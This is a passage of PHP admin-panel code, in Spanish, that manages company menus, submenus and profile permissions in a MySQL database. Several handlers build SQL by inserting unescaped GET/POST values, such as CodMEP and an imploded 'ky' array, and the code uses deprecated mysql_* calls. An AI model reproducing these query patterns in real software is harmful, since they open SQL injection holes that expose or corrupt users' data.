$btn .= "Editar ]" . $enlace . "?MenuPerfil=editaReg&codigo_menu_empresa=" . $cod . "]panelB-R2}";
$btn = Botones($btn, 'botones1');
$subMenu = tituloBtnPn("Detalle <p>MENÚ</p>", $btn, "150px", "TituloA");
$sql = "SELECT Codigo, Nombre, TipoMenu, Url,Orden,Estado, Codigo AS CodigoAjax\n FROM menu_empresa_det\n WHERE Menu = '{$cod}'\n ORDER BY Codigo ASC ";
$clase = 'reporteA';
$enlaceCod = 'codigo_menu_empresa_det';
$url = $enlace . "?MenuPerfil=editaRegDet";
$panel = 'PanelInter';
$reporte = ListR2($titulo, $sql, $vConex, $clase, '', $url, $enlaceCod, $panel, 'sys_tipo_ouput', '');
$divFloat = panelFloat($form, "panel-FloatB", $style);
$s = layoutLSB2($divFloat . $subMenu, $reporte, "panelB-R2");
break;
case "FormDetalle":
$codMenu = get('CodSubMenu');
$uRLForm = "Crear]" . $enlace . "?metodo=menu_empresa_det&transaccion=INSERT&Menu=" . $codMenu . "]panelB-R]F]}";
$titulo = "Crear Sub-Menú";
$form = c_form($titulo, $vConex, "menu_empresa_det", "CuadroA", $path, $uRLForm, "", $tSelectD);
$s = PanelInferior($FBusqueda . $form, "panel_edit_menu", '370px');
WE($s);
break;
case "editaRegDet":
$codigo = get("codigo_menu_empresa_det");
$titulo = "Editar Submenú";
$uRLForm = "Actualizar]" . $enlace . "?metodo=menu_empresa_det&transaccion=UPDATE&codigo=" . $codigo . "]panelB-R]F]}";
$uRLForm .= "Eliminar]" . $enlace . "?metodo=menu_empresa_det&transaccion=DELETE&codigo=" . $codigo . "]panelB-R]]}";
$form = c_form($titulo, $vConex, "menu_empresa_det", "CuadroA", $path, $uRLForm, $codigo, $tSelectD);
$form = "<div style='width:400px;'>" . $form . "</div>";
$s = PanelInferior($form, "panel_edit_menu", '320px');
break;
case "updtaePerflMaster":
$btn = "Actualizar ]" . $enlace . "?MenuPerfil=actMaster]panelB-R}";
$btn = Botones($btn, 'botones1');
$subMenu = tituloBtnPn("Actualizar <p>MASTER</p>", $btn, "150px", "TituloA");
$sql = "SELECT p.Codigo, m.Nombre,d.TipoMenu,p.Estado,p.Perfil, p.Codigo AS CodigoAjax\n FROM menu_empresa as m\n LEFT JOIN menu_empresa_perfil as p ON m.Codigo = p.Menu\n LEFT JOIN menu_empresa_det as d ON p.MenuDetalle = d.Codigo WHERE Perfil = '1'\n Group by p.Codigo ORDER BY p.Menu, p.MenuDetalle ASC";
$clase = 'reporteA';
$enlaceCod = 'codigo_menu_empresa';
$url = $enlace . "?MenuPerfil=menuDetalle";
$panel = 'panelB-R';
$reporte = ListR2($titulo, $sql, $vConex, $clase, '', $url, $enlaceCod, $panel, '', '');
$s = 'Aquà Automáticamente el usuario "Master" de cada empresa, podrá tener acceso a todos los menús y submenus y tambien se actualizará si se ingreso nuevos menús y submenus';
$s .= layoutLSB($divFloat . $subMenu, $reporte, "panelB-R2");
break;
case "actMaster":
$perfil = $codigo;
$n_s = "SELECT PaginaWeb FROM empresa";
$resu = mysql_query($n_s, $vConex);
while ($reg = mysql_fetch_array($resu)) {
$s .= $reg["PaginaWeb"];
$sql = "SELECT Codigo, Menu FROM menu_empresa_det ";
$consulta = mysql_query($sql, $vConex);
while ($r = mysql_fetch_array($consulta)) {
$sql = "SELECT Codigo\n FROM menu_empresa_perfil\n WHERE Menu ='" . $r["Menu"] . "' AND MenuDetalle = '" . $r["Codigo"] . "' AND Perfil ='1' AND Entidad = '" . $reg["PaginaWeb"] . "' ";
$rg = fetch($sql);
$codigo = $rg["Codigo"];
if ($codigo) {
$s .= 'ya ingreso<br>';
} else {
$sql = 'INSERT INTO menu_empresa_perfil (Menu,MenuDetalle,Estado,Perfil,Entidad)
VALUES ("' . $r["Menu"] . '","' . $r["Codigo"] . '","Activo","1","' . $reg["PaginaWeb"] . '")';
xSQL($sql, $vConex);
$s .= 'deberia ingresa';
}
}
}
break;
case "PerfilSys":
$subMenu = tituloBtnPn("<span>ACTUALIZA PERFILES</span><p>Actualiza en base en la plantilla</p><div class='bicel'></div>", $btn, "200px", "TituloA");
$Q_Programas = "SELECT DISTINCT Entidad AS 'Nombre de la Empresa',\n Entidad AS CodigoAjax\n FROM menu_empresa_perfil";
$Url_Raiz_Link = "{$enlace}?MenuPerfil=PerfilesEmpresa";
$Url_Add_Link = array("CodigoAjax" => "CodMEP");
$Panel_Destino = 'panelB-R';
$tablaReporte = ListR("", $Q_Programas, $cnOwl, 'reporteA', 'd', $Url_Raiz_Link, $Url_Add_Link, $Panel_Destino);
$s = PanelUnico($subMenu, $tablaReporte, 'panelB-R2', '600px');
break;
case "PerfilDelete":
$btn = "Eliminar ]" . $enlace . "?MenuPerfil=PerfilDeleteProcess]panelB-R}";
$btn = Botones($btn, 'botones1');
$subMenu = tituloBtnPn("<span>ELIMINACION</span><p>PERFILES FALLIDOS</p><div class='bicel'></div>", $btn, "200px", "TituloA");
$s = PanelUnico($subMenu, $tablaReporte, 'panelB-R2', '600px');
break;
case "PerfilDeleteProcess":
$sql = "DELETE FROM menu_empresa_perfil WHERE Entidad = '' ";
xSQL($sql, $vConex);
W(MsgE("Eliminación Exitosa."));
MenuPerfil('PerfilDelete');
break;
case "PerfilSysView":
//Listar todos los perfiles
$sql = "SELECT Descripcion,\n Codigo AS CodigoAjax \n FROM usuario_perfil\n WHERE Usuario = 'Sys'";
$Url_Raiz_Link = "{$enlace}?MenuPerfil=detallePerfilView";
$Url_Add_Link = array("CodigoAjax" => "perfil_cod");
$Panel_Destino = 'panelB-R';
$reporte = ListR("", $sql, $cnOwl, 'reporteA', 'd', $Url_Raiz_Link, $Url_Add_Link, $Panel_Destino);
$subMenu = tituloBtnPn("<span>PERFILES SYS</span><p>Plantilla master de menu para las empresas</p><div class='bicel'></div>", null, "auto", "TituloA");
$s = PanelUnico($subMenu, $reporte, 'panelB-R2', '600px');
break;
case "PerfilesEmpresa":
$CodMEP = get("CodMEP");
//Listar todos los perfiles de la empresa que esten en menu_empresa_perfil
$Q_A = "SELECT DISTINCT Perfil \n FROM menu_empresa_perfil\n WHERE Entidad = '{$CodMEP}'";
$sql = "SELECT\n UP.Descripcion,\n (\n CASE\n WHEN MED.Perfil <> '' THEN '<div style=color:green >Definido</div>' ELSE 'Pendiente'\n END\n ) AS Estado,\n UP.Codigo AS CodigoAjax\n FROM usuario_perfil AS UP\n LEFT JOIN ({$Q_A}) AS MED ON MED.Perfil = UP.Codigo\n WHERE UP.Usuario = 'Sys'\n GROUP BY UP.Codigo";
$Url_Raiz_Link = "{$enlace}?MenuPerfil=detallePerfilViewEmprPerfil&CodMEP={$CodMEP}";
$Url_Add_Link = array("CodigoAjax" => "perfil_cod");
$Panel_Destino = 'panelB-R';
$reporte = ListR("", $sql, $cnOwl, 'reporteA', 'd,d', $Url_Raiz_Link, $Url_Add_Link, $Panel_Destino);
$btn = "<i class=' icon-chevron-left'></i> Atrás]{$enlace}?MenuPerfil=PerfilSys]panelB-R}";
$btn = Botones($btn, 'botones1');
$subMenu = tituloBtnPn("<span>ACTUALIZA EN BASE EN LA PLANTILLA</span><p>Perfiles de empresa - {$CodMEP}</p><div class='bicel'></div>", $btn, "auto", "TituloA");
$s = PanelUnico($subMenu, $reporte, 'panelB-R2', '600px');
break;
case "detallePerfilView":
$codigo = get("perfil_cod");
$Q_Descripcion_perfil = "SELECT UP.Descripcion AS PerfilDesc\n FROM usuario_perfil AS UP\n WHERE UP.Codigo = {$codigo}";
$PerfilDesc = (string) fetchOne($Q_Descripcion_perfil, $vConex)->PerfilDesc;
$btn = "<i class=' icon-chevron-left'></i> Atrás]{$enlace}?MenuPerfil=PerfilSysView]panelB-R}";
$btn .= "<i class='icon-ok-circle'></i> Activar]{$enlace}?MenuPerfil=OnOffItemItemPerfil&status=on&perfil_cod={$codigo}]panelB-R]CHECK}";
$btn .= "<i class='icon-minus-sign'></i> Desactivar]{$enlace}?MenuPerfil=OnOffItemItemPerfil&status=off&perfil_cod={$codigo}]panelB-R]CHECK}";
$btn .= "<i class='icon-refresh'></i> Actualizar / Definir]{$enlace}?MenuPerfil=PActualizaItemPerfil&perfil_cod={$codigo}]panelB-R]CHECK}";
$btn = Botones($btn, 'botones1', "menu_layout");
$subMenu = tituloBtnPn("<span>ACTUALIZAR ITEMS de SYS</span><p>PERFIL {$PerfilDesc}</p><div class='bicel'></div>", $btn, "auto", "TituloA");
$sql = "SELECT \n ME.Codigo AS CodigoAjax,\n ME.Nombre,\n IF(ISNULL(TAB1.Menu),'<div style=color:red>No hay ningún item definido</div>','<div style=color:green>Hay items definidos</div>') AS Estado\n FROM menu_empresa AS ME\n LEFT JOIN (\n SELECT DISTINCT MEP.Menu \n FROM menu_empresa_perfil AS MEP\n WHERE MEP.Entidad = 'Sys'\n AND MEP.Perfil = {$codigo}\n ) AS TAB1 ON ME.Codigo = TAB1.Menu\n ORDER BY ME.Codigo ASC;";
$Url_Raiz_Link = "{$enlace}?MenuPerfil=detalle_submenu&perfil_cod={$codigo}";
$enlaceCod = "CodMenu";
$Panel_Destino = 'panelB-R';
$reporte = ListR2("", $sql, $cnOwl, 'reporteA', "", $Url_Raiz_Link, $enlaceCod, $Panel_Destino, "menu_layout", "checks");
$s = PanelUnico($subMenu, $reporte, 'panelB-R2', '600px');
break;
case "detallePerfilViewEmprPerfil":
$codigo = get("perfil_cod");
$CodMEP = get("CodMEP");
$Q_Descripcion_perfil = "SELECT UP.Descripcion AS PerfilDesc\n FROM usuario_perfil AS UP\n WHERE UP.Codigo = {$codigo}";
$PerfilDesc = (string) fetchOne($Q_Descripcion_perfil, $vConex)->PerfilDesc;
$btn = "<i class=' icon-chevron-left'></i> Atrás]{$enlace}?MenuPerfil=PerfilesEmpresa&CodMEP={$CodMEP}]panelB-R}";
$btn .= "<i class='icon-ok-circle'></i> Activar]{$enlace}?MenuPerfil=OnOffItemItemPerfil_empresa&status=on&perfil_cod={$codigo}&CodMEP={$CodMEP}]panelB-R]CHECK}";
$btn .= "<i class='icon-minus-sign'></i> Desactivar]{$enlace}?MenuPerfil=OnOffItemItemPerfil_empresa&status=off&perfil_cod={$codigo}&CodMEP={$CodMEP}]panelB-R]CHECK}";
$btn .= "<i class=' icon-refresh'></i> Actualizar / Definir]{$enlace}?MenuPerfil=PActualizaItemPerfilEmpresa&perfil_cod={$codigo}&CodMEP={$CodMEP}]panelB-R]CHECK}";
$btn = Botones($btn, 'botones1', "menu_layout");
$subMenu = tituloBtnPn("<span>ACTUALIZAR ITEMS SEGUN CONFIGURACIÓN Sys</span><p>PERFIL {$PerfilDesc}</p><div class='bicel'></div>", $btn, "auto", "TituloA");
$sql = "SELECT \n ME.Codigo AS CodigoAjax,\n ME.Nombre,\n IF(ISNULL(TAB1.Menu),'<div style=color:red>No hay ningún item definido</div>','<div style=color:green>Hay items definidos</div>') AS Estado\n FROM menu_empresa AS ME\n LEFT JOIN (\n SELECT DISTINCT MEP.Menu \n FROM menu_empresa_perfil AS MEP\n WHERE MEP.Entidad = '{$CodMEP}'\n AND MEP.Perfil = {$codigo}\n ) AS TAB1 ON ME.Codigo = TAB1.Menu\n ORDER BY ME.Codigo ASC;";
$Url_Raiz_Link = "{$enlace}?MenuPerfil=detalle_submenu_empresa&CodMEP={$CodMEP}&perfil_cod={$codigo}";
$enlaceCod = "CodMenu";
$Panel_Destino = 'panelB-R';
$reporte = ListR2("", $sql, $cnOwl, 'reporteA', "", $Url_Raiz_Link, $enlaceCod, $Panel_Destino, "menu_layout", "checks");
$s = PanelUnico($subMenu, $reporte, 'panelB-R2', '600px');
break;
case "detalle_submenu":
$codigo = (int) get("perfil_cod");
$CodMenu = (int) get("CodMenu");
$Q_Descripcion_perfil = "SELECT UP.Descripcion AS PerfilDesc\n FROM usuario_perfil AS UP\n WHERE UP.Codigo = {$codigo}";
$PerfilDesc = (string) fetchOne($Q_Descripcion_perfil, $vConex)->PerfilDesc;
$Q_DescMenu = "SELECT Nombre \n FROM menu_empresa \n WHERE Codigo = {$CodMenu}";
$DescMenu = (string) fetchOne($Q_DescMenu, $vConex)->Nombre;
$btn = "<i class=' icon-chevron-left'></i> Atrás]{$enlace}?MenuPerfil=detallePerfilView&perfil_cod={$codigo}]panelB-R}";
$btn .= "<i class='icon-ok-circle'></i> Activar]{$enlace}?MenuPerfil=OnOffItemSubItemPerfil&status=on&perfil_cod={$codigo}&CodMenu={$CodMenu}]panelB-R]CHECK}";
$btn .= "<i class='icon-minus-sign'></i> Desactivar]{$enlace}?MenuPerfil=OnOffItemSubItemPerfil&status=off&perfil_cod={$codigo}&CodMenu={$CodMenu}]panelB-R]CHECK}";
$btn .= "<i class=' icon-refresh'></i> Actualizar / Definir]{$enlace}?MenuPerfil=PUpdateSubItem&perfil_cod={$codigo}&CodMenu={$CodMenu}]panelB-R]CHECK}";
$btn = Botones($btn, 'botones1', "menu_layout");
$subMenu = tituloBtnPn("<span>{$DescMenu} - Submenus de Sys</span><p>PERFIL {$PerfilDesc}</p><div class='bicel'></div>", $btn, "auto", "TituloA");
$sql = "SELECT \n MED.Codigo AS CodigoAjax,\n MED.Nombre,\n IF(ISNULL(TAB1.Estado),'<div style=color:red>No definido</div>',IF(TAB1.Estado='Activo','<div style=color:green><i class=icon-ok-sign></i> Activado</div>','<div style=color:grey><i class=icon-minus-sign></i> Desactivado</div>')) AS Estado\n FROM menu_empresa_det AS MED\n LEFT JOIN (\n SELECT DISTINCT MEP.MenuDetalle, MEP.Menu, MEP.Estado\n FROM menu_empresa_perfil AS MEP\n WHERE MEP.Entidad = 'Sys'\n AND MEP.Perfil = {$codigo}\n AND MEP.Menu = {$CodMenu}\n ) AS TAB1 ON MED.Codigo = TAB1.MenuDetalle\n ORDER BY MED.Codigo ASC";
$Url_Raiz_Link;
$enlaceCod;
$Panel_Destino;
$reporte = ListR2("", $sql, $cnOwl, "reporteA", "", $Url_Raiz_Link, $enlaceCod, $Panel_Destino, "menu_layout", "checks");
$s = PanelUnico($subMenu, $reporte, 'panelB-R2', '600px');
break;
case "detalle_submenu_empresa":
$codigo = (int) get("perfil_cod");
$CodMEP = (string) get("CodMEP");
$CodMenu = (int) get("CodMenu");
$Q_Descripcion_perfil = "SELECT UP.Descripcion AS PerfilDesc\n FROM usuario_perfil AS UP\n WHERE UP.Codigo = {$codigo}";
$PerfilDesc = (string) fetchOne($Q_Descripcion_perfil, $vConex)->PerfilDesc;
$Q_DescMenu = "SELECT Nombre \n FROM menu_empresa \n WHERE Codigo = {$CodMenu}";
$DescMenu = (string) fetchOne($Q_DescMenu, $vConex)->Nombre;
$btn = "<i class=' icon-chevron-left'></i> Atrás]{$enlace}?MenuPerfil=detallePerfilViewEmprPerfil&CodMEP={$CodMEP}&perfil_cod={$codigo}]panelB-R}";
$btn .= "<i class='icon-ok-circle'></i> Activar]{$enlace}?MenuPerfil=OnOffItemSubItemPerfil_empresa&status=on&perfil_cod={$codigo}&CodMEP={$CodMEP}&CodMenu={$CodMenu}]panelB-R]CHECK}";
$btn .= "<i class='icon-minus-sign'></i> Desactivar]{$enlace}?MenuPerfil=OnOffItemSubItemPerfil_empresa&status=off&perfil_cod={$codigo}&CodMEP={$CodMEP}&CodMenu={$CodMenu}]panelB-R]CHECK}";
$btn .= "<i class=' icon-refresh'></i> Actualizar / Definir]{$enlace}?MenuPerfil=PUpdateSubItem_empresa&perfil_cod={$codigo}&CodMEP={$CodMEP}&CodMenu={$CodMenu}]panelB-R]CHECK}";
$btn = Botones($btn, 'botones1', "menu_layout");
$subMenu = tituloBtnPn("<span>{$DescMenu} - Submenus </span><p>PERFIL {$PerfilDesc}</p><div class='bicel'></div>", $btn, "auto", "TituloA");
$sql = "SELECT \n MED.Codigo AS CodigoAjax,\n MED.Nombre,\n IF(ISNULL(TAB1.Estado),'<div style=color:red>No definido</div>',IF(TAB1.Estado='Activo','<div style=color:green><i class=icon-ok-sign></i> Activado</div>','<div style=color:grey><i class=icon-minus-sign></i> Desactivado</div>')) AS Estado\n FROM menu_empresa_det AS MED\n LEFT JOIN (\n SELECT DISTINCT MEP.MenuDetalle, MEP.Menu, MEP.Estado\n FROM menu_empresa_perfil AS MEP\n WHERE MEP.Entidad = '{$CodMEP}'\n AND MEP.Perfil = {$codigo}\n AND MEP.Menu = {$CodMenu}\n ) AS TAB1 ON MED.Codigo = TAB1.MenuDetalle\n ORDER BY MED.Codigo ASC";
$Url_Raiz_Link;
$enlaceCod;
$Panel_Destino;
$reporte = ListR2("", $sql, $cnOwl, "reporteA", "", $Url_Raiz_Link, $enlaceCod, $Panel_Destino, "menu_layout", "checks");
$s = PanelUnico($subMenu, $reporte, 'panelB-R2', '600px');
break;
case "OnOffItemItemPerfil":
//Este proceso barre todo los submenus de un menu y los activa
$perfil = (int) get("perfil_cod");
$status = get("status");
switch ($status) {
case "on":
$Estado = "Activo";
break;
case "off":
$Estado = "Inactivo";
break;
default:
MenuPerfil("detallePerfilView");
break;
}
//Definiendo si el array de codigo de menus existe para aplicar un filtro
$MxcodMenu = post("ky");
if (!$MxcodMenu) {
W("Debes seleccionar un Módulo de menu para poder cambiar el estado a {$Estado} a los items...<br>");
MenuPerfil("detallePerfilView");
}
$FILTER = implode(",", $MxcodMenu);
$Q_UPDSubmenu = "UPDATE menu_empresa_perfil\n SET Estado = '{$Estado}'\n WHERE Menu IN({$FILTER})\n AND Perfil = {$perfil} \n AND Entidad = 'Sys'";
xSQL2($Q_UPDSubmenu, $vConex);
W("Se cambio el estado a {$Estado} a todos los items de el(los) menu(s)<br>");
MenuPerfil("detallePerfilView");
break;
case "OnOffItemItemPerfil_empresa":
//Este proceso barre todo los submenus de un menu y los activa
$perfil = (int) get("perfil_cod");
$CodMEP = (string) get("CodMEP");
$status = get("status");
switch ($status) {
case "on":
$Estado = "Activo";
break;
case "off":
$Estado = "Inactivo";
break;
default:
MenuPerfil("detallePerfilViewEmprPerfil");
break;
}
//Definiendo si el array de codigo de menus existe para aplicar un filtro
$MxcodMenu = post("ky");
if (!$MxcodMenu) {
W("Debes seleccionar un Módulo de menu para poder cambiar el estado a {$Estado} a los items...<br>");
MenuPerfil("detallePerfilViewEmprPerfil");
}
$FILTER = implode(",", $MxcodMenu);
$Q_UPDSubmenu = "UPDATE menu_empresa_perfil\n SET Estado = '{$Estado}'\n WHERE Menu IN({$FILTER})\n AND Perfil = {$perfil} \n AND Entidad = '{$CodMEP}'";
xSQL2($Q_UPDSubmenu, $vConex);
W("Se cambio el estado a {$Estado} a todos los items de el(los) menu(s)<br>");
MenuPerfil("detallePerfilViewEmprPerfil");
break;
case "OnOffItemSubItemPerfil":
//Este proceso barre todo los submenus de un menu y los activa
$perfil = (int) get("perfil_cod");
$CodMenu = (int) get("CodMenu");
$status = get("status");
switch ($status) {
case "on":
$Estado = "Activo";
break;
case "off":
$Estado = "Inactivo";
break;
default:
MenuPerfil("detalle_submenu");
break;
}
//Definiendo si el array de codigo de menus existe para aplicar un filtro
$MxcodSubMenu = post("ky");
if (!$MxcodSubMenu) {
W("Debes seleccionar un sub-menu para poder cambiar el estado a {$Estado}...<br>");
MenuPerfil("detalle_submenu");
}
$FILTER = implode(",", $MxcodSubMenu);
$Q_UPDSubmenu = "UPDATE menu_empresa_perfil\n SET Estado = '{$Estado}'\n WHERE Menu = {$CodMenu}\n AND MenuDetalle IN({$FILTER})\n AND Perfil = {$perfil} \n AND Entidad = 'Sys'";
xSQL2($Q_UPDSubmenu, $vConex);
W("Se cambio el estado a {$Estado} a el(los) submenu(s)<br>");
MenuPerfil("detalle_submenu");
break;
case "OnOffItemSubItemPerfil_empresa":
//Este proceso barre todo los submenus de un menu y los activa
$perfil = (int) get("perfil_cod");
$CodMenu = (int) get("CodMenu");
$CodMEP = (string) get("CodMEP");
$status = get("status");
switch ($status) {
case "on":
$Estado = "Activo";
break;
case "off":
$Estado = "Inactivo";
break;
default:
MenuPerfil("detalle_submenu_empresa");
break;
}
//Definiendo si el array de codigo de menus existe para aplicar un filtro
$MxcodSubMenu = post("ky");
if (!$MxcodSubMenu) {
W("Debes seleccionar un sub-menu para poder cambiar el estado a {$Estado}...<br>");
MenuPerfil("detalle_submenu_empresa");
}
$FILTER = implode(",", $MxcodSubMenu);
$Q_UPDSubmenu = "UPDATE menu_empresa_perfil\n SET Estado = '{$Estado}'\n WHERE Menu = {$CodMenu}\n AND MenuDetalle IN({$FILTER})\n AND Perfil = {$perfil} \n AND Entidad = '{$CodMEP}'";
xSQL2($Q_UPDSubmenu, $vConex);
W("Se cambio el estado a {$Estado} a el(los) submenu(s)<br>");
MenuPerfil("detalle_submenu_empresa");
break;
case "PActualizaItemPerfil":
//Este proceso barre todo los submenus de un menu
//Luego valida si el submenu esta ligado al perfil en la tabla menu_empresa_perfil
$perfil = (int) get("perfil_cod");
//Definiendo si el array de codigo de menus existe para aplicar un filtro
$MxcodMenu = post("ky");
if (!$MxcodMenu) {
W("Debes seleccionar un Módulo de menu para poder actualizar los items...<br>");
MenuPerfil("detallePerfilView");
}
$FILTER = implode(",", $MxcodMenu);
$Q_Submenu = "SELECT Codigo,Menu \n FROM menu_empresa_det\n WHERE Menu IN({$FILTER})";
$MxSubMenu = fetchAll($Q_Submenu, $vConex);
if (!$MxSubMenu) {
W("No se encontro items para actualizar");
}
foreach ($MxSubMenu as $SubMenu) {
$codSubmenu = (int) $SubMenu->Codigo;
$codMenu = (int) $SubMenu->Menu;
$Q_det_submenu = "SELECT Codigo\n FROM menu_empresa_perfil\n WHERE Menu = {$codMenu}\n AND MenuDetalle = {$codSubmenu} \n AND Perfil = {$perfil} \n AND Entidad = 'Sys'";
$cod_det_submenu = (int) fetchOne($Q_det_submenu, $vConex)->Codigo;
if ($cod_det_submenu) {
$s .= "El submenu {$codSubmenu} ya esta registrado<br>";
} else {
//Si el submenu no existe en el detalle de submenu del perfil
$data_INSERT = array("Menu" => $codMenu, "MenuDetalle" => $codSubmenu, "Estado" => "Activo", "Perfil" => $perfil, "Entidad" => "Sys");
insert("menu_empresa_perfil", $data_INSERT, $vConex);
$s .= "Se inserto {$codSubmenu} para el perfil {$perfil} en la entidad Sys<br>";
}
}
W($s);
MenuPerfil("detallePerfilView");
break;
case "PActualizaItemPerfilEmpresa":
//Este proceso barre todo los submenus de la entidad Sys con su respectivo perfil del detalle de la tabla menu_empresa_perfil
$perfil = get("perfil_cod");
$CodMEP = get("CodMEP");
//Definiendo si el array de codigo de menus existe para aplicar un filtro
$MxcodMenu = post("ky");
if (!$MxcodMenu) {
W("Debes seleccionar un Módulo de menu para poder actualizar los items...<br>");
MenuPerfil("detallePerfilViewEmprPerfil");
}
$FILTER = implode(",", $MxcodMenu);
$Q_det_submenu = "SELECT Codigo, Menu, MenuDetalle, Estado\n FROM menu_empresa_perfil\n WHERE Perfil = {$perfil} \n AND Entidad = 'Sys'\n AND Menu IN({$FILTER})";
$MxDet_submenu = fetchAll($Q_det_submenu, $vConex);
if (!$MxDet_submenu) {
W("No se encontro items para actualizar");
}
foreach ($MxDet_submenu as $Det_submenu) {
$codSubmenu = (int) $Det_submenu->MenuDetalle;
$codMenu = (int) $Det_submenu->Menu;
$Estado = (string) $Det_submenu->Estado;
$Q_det_submenu_aux = "SELECT Codigo\n FROM menu_empresa_perfil\n WHERE Menu = {$codMenu}\n AND MenuDetalle = {$codSubmenu} \n AND Perfil = {$perfil} \n AND Entidad = '{$CodMEP}'";
$cod_det_submenu = (int) fetchOne($Q_det_submenu_aux, $vConex)->Codigo;
if ($cod_det_submenu) {
Update("menu_empresa_perfil", ["Estado" => $Estado], ["Codigo" => $cod_det_submenu], $vConex);
$s .= "Se actualizo el Estado del submenu {$codSubmenu} para este perfil<br>";
} else {
//Si el submenu no existe en el detalle de submenu del perfil
$data_INSERT = array("Menu" => $codMenu, "MenuDetalle" => $codSubmenu, "Estado" => "Activo", "Perfil" => $perfil, "Entidad" => $CodMEP);
insert("menu_empresa_perfil", $data_INSERT, $vConex);
$s .= "Se inserto {$codSubmenu} para el perfil {$perfil} de la entidad {$CodMEP}<br>";
}
}
W($s);
MenuPerfil("detallePerfilViewEmprPerfil");
break;
case "PUpdateSubItem":
//Este proceso barre todo los submenus de la entidad Sys con su respectivo perfil del detalle de la tabla menu_empresa_perfil
$perfil = get("perfil_cod");
$CodMenu = get("CodMenu");
//Definiendo si el array de codigo de menus existe para aplicar un filtro
$MxcodSubMenu = post("ky");
if (!$MxcodSubMenu) {
W("Debes seleccionar un Módulo de Submenu...<br>");
MenuPerfil("detalle_submenu");
}
foreach ($MxcodSubMenu as $codSubmenu) {
$Q_det_submenu_aux = "SELECT Codigo\n FROM menu_empresa_perfil\n WHERE Menu = {$CodMenu}\n AND MenuDetalle = {$codSubmenu} \n AND Perfil = {$perfil} \n AND Entidad = 'Sys'";
$cod_det_submenu = (int) fetchOne($Q_det_submenu_aux, $vConex)->Codigo;
if ($cod_det_submenu) {
$s .= "El submenu {$codSubmenu} ya esta registrado<br>";
} else {
//Si el submenu no existe en el detalle de submenu del perfil
$data_INSERT = array("Menu" => $CodMenu, "MenuDetalle" => $codSubmenu, "Estado" => "Activo", "Perfil" => $perfil, "Entidad" => "Sys");
insert("menu_empresa_perfil", $data_INSERT, $vConex);
$s .= "Se inserto {$codSubmenu} para el perfil {$perfil} en la entidad Sys<br>";
}
}
W($s);
MenuPerfil("detalle_submenu");
#MenuPerfil("PUpdateSubItem_empresa");
break;
case "PUpdateSubItem_empresa":
//Este proceso barre todo los submenus de la entidad Sys con su respectivo perfil del detalle de la tabla menu_empresa_perfil
$perfil = get("perfil_cod");
$CodMEP = get("CodMEP");
$CodMenu = get("CodMenu");
//Definiendo si el array de codigo de menus existe para aplicar un filtro
$MxcodSubMenu = post("ky");
if (!$MxcodSubMenu) {
W("Debes seleccionar un Módulo de Submenu...<br>");
MenuPerfil("detalle_submenu_empresa");
}
$FILTER = implode(",", $MxcodSubMenu);
$Q_det_submenu = "SELECT Codigo, Menu, MenuDetalle, Estado\n FROM menu_empresa_perfil\n WHERE Perfil = {$perfil} \n AND Entidad = 'Sys'\n AND Menu = {$CodMenu}\n AND MenuDetalle IN({$FILTER})";
$MxDet_submenu = fetchAll($Q_det_submenu, $vConex);
if (!$MxDet_submenu) {
W("No se encontro submenus para actualizar");
}
foreach ($MxDet_submenu as $Det_submenu) {
$codSubmenu = (int) $Det_submenu->MenuDetalle;
$codMenu = (int) $Det_submenu->Menu;
$Estado = (string) $Det_submenu->Estado;
$Q_det_submenu_aux = "SELECT Codigo\n FROM menu_empresa_perfil\n WHERE Menu = {$codMenu}\n AND MenuDetalle = {$codSubmenu} \n AND Perfil = {$perfil} \n AND Entidad = '{$CodMEP}'";
$cod_det_submenu = (int) fetchOne($Q_det_submenu_aux, $vConex)->Codigo;
if ($cod_det_submenu) {
Update("menu_empresa_perfil", ["Estado" => $Estado], ["Codigo" => $cod_det_submenu], $vConex);
$s .= "Se actualizo el Estado del submenu {$codSubmenu} para este perfil<br>";
} else {
//Si el submenu no existe en el detalle de submenu del perfil
$data_INSERT = array("Menu" => $codMenu, "MenuDetalle" => $codSubmenu, "Estado" => "Activo", "Perfil" => $perfil, "Entidad" => $CodMEP);
insert("menu_empresa_perfil", $data_INSERT, $vConex);
$s .= "Se inserto {$codSubmenu} para el perfil {$perfil} de la entidad {$CodMEP}<br>";
}
}
W($s);
MenuPerfil("detalle_submenu_empresa");
break;
case "detallePerfil":
$perfil = get("perfil_cod");
$sql = "SELECT Codigo, Menu FROM menu_empresa_det ";
$consulta = mysql_query($sql, $vConex);
while ($r = mysql_fetch_array($consulta)) {
$sql = "SELECT Codigo\n FROM menu_empresa_perfil\n WHERE Menu ='" . $r["Menu"] . "' AND MenuDetalle = '" . $r["Codigo"] . "' AND Perfil ='" . $perfil . "' AND Entidad = 'Sys' ";
$rg = fetch($sql);
$codigo = $rg["Codigo"];
if ($codigo) {
$s .= 'ya ingreso el Menu ' . $r["Codigo"] . ' <br>';
} else {
$sql = 'INSERT INTO menu_empresa_perfil (Menu,MenuDetalle,Estado,Perfil,Entidad)
VALUES ("' . $r["Menu"] . '","' . $r["Codigo"] . '","Activo","' . $perfil . '","Sys")';
xSQL($sql, $vConex);
$s .= 'Se inserto el Menu ' . $r["Codigo"] . ' <br>';
}
}
break;
case "EditarMenuPerfil":
$Perfil_cod = get("perfil_cod");
$Codigo = get("Codigo");
$uRLForm = "Actualizar]" . $enlace . "?metodo=menu_empresa_perfil_edit&transaccion=UPDATE&Codigo=" . $Codigo . "&perfil_cod=" . $Perfil_cod . "]panelB-R]F]}";
$titulo = "Añadir Detalle";
$tSelectD = '';
$form = c_form($titulo, $vConex, "menu_empresa_perfil_edit", "CuadroA", $path, $uRLForm, $Codigo, $tSelectD);
$s = "<div style='width:280px;padding:0px 0px 0px 30px;'>" . $form . "</div>";
break;
case "EditarMenuPerfilEmpresa":
## PARAMETRO POR DEFECTO DE REPORTE (ListR3)
$pagina_start = get('pagina-start');
$CodMEP = get("CodMEP");
$Perfil_cod = get("perfil_cod");
$Codigo = get("Codigo");
$uRLForm = "Actualizar]{$enlace}?metodo=menu_empresa_perfil_edit_empresa&transaccion=UPDATE&Codigo={$Codigo}&perfil_cod={$Perfil_cod}&CodMEP={$CodMEP}&pagina-start={$pagina_start}]panelB-R]F]}";
$titulo = "Añadir Detalle";
$tSelectD = '';
$form = c_form($titulo, $vConex, "menu_empresa_perfil_edit", "CuadroA", $path, $uRLForm, $Codigo, $tSelectD);
$s = "<div style='width:280px;padding:0px 0px 0px 30px;'>" . $form . "</div>";
break;
}
WE($s);
}
function registraUltimoAcesso($id)
{
